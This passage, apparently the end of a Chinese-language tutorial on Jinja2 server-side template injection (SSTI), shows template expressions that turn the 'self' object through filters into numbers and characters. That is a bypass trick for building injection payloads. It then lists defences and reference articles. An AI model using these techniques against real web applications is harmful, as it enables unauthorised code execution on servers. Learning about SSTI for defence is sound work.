# >>> foo + 42
# Traceback (most recent call last):
# ...
# jinja2.exceptions.UndefinedError: 'foo' is undefined
{% set num = (self|int) %}{{num}}
# 0
{% set num = (self|string|length) %}{{num}}
# 24
{% set point = self|float|string|min %}{{point}}
# .
防御方法:
(1)和其他的注入防御一样,绝对不要让用户对传入模板的内容或者模板本身进行控制
(2)减少或者放弃直接使用格式化字符串结合字符串拼接的模板渲染方式,使用正规的模板渲染方法
参考文章:
一篇文章带你理解漏洞之 SSTI 漏洞 | K0rz3n's Blog
【网络安全 | 1.5w字总结】SSTI漏洞入门,这一篇就够了。-CSDN博客
超详细SSTI模板注入漏洞原理讲解_ssti注入-CSDN博客
https://www.cnblogs.com/2ha0yuk7on/p/16648850.html